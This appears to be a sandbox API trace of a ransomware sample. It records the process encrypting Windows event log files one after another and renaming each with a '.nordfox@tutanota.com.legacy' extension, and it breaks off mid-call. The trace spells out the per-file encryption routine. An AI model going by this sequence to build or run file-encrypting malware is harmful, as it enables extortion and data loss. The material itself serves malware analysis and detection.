1 [0088.341] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0088.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e620 [0088.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0088.341] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.342] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.342] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.357] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.357] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.362] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.364] WriteFile (in: hFile=0x460, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.364] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.364] CloseHandle (hObject=0x460) returned 1 [0088.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0088.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.368] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e620 | out: hHeap=0x520000) returned 1 [0088.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0088.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0088.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0088.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0088.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0088.371] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0088.371] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0088.371] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0088.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ead0 [0088.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0088.372] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.372] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.373] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.389] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.389] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.393] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.395] WriteFile (in: hFile=0x460, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.395] WriteFile (in: hFile=0x460, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.395] CloseHandle (hObject=0x460) returned 1 [0088.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0088.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0088.404] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ead0 | out: hHeap=0x520000) returned 1 [0088.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0088.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0088.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x583e68 [0088.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0088.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0088.410] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0088.410] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0088.410] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5821f8 [0088.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x583308 [0088.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0088.411] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.411] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.411] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.516] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.516] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.518] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.520] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.522] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.522] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.522] CloseHandle (hObject=0x460) returned 1 [0088.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0088.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0088.525] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583308 | out: hHeap=0x520000) returned 1 [0088.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0088.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0088.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0088.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0088.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0088.530] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0088.530] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0088.531] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.531] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0088.531] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0088.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0088.531] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.531] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.531] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.532] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.549] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.549] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.551] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.551] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.551] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.553] WriteFile (in: hFile=0x460, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.553] WriteFile (in: hFile=0x460, lpBuffer=0x54d140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.553] CloseHandle (hObject=0x460) returned 1 [0088.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0088.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0088.555] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0088.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0088.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0088.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0088.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0088.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0088.559] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0088.559] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0088.559] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0088.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0088.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e6e8 [0088.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0088.567] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.568] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.568] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.586] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.586] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.588] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.590] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.590] WriteFile (in: hFile=0x460, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.591] CloseHandle (hObject=0x460) returned 1 [0088.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0088.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0088.597] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e6e8 | out: hHeap=0x520000) returned 1 [0088.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0088.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0088.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0088.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0088.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0088.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0088.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0088.600] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0088.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0088.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57eb98 [0088.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0088.600] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.601] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.601] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.659] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.659] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.661] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, 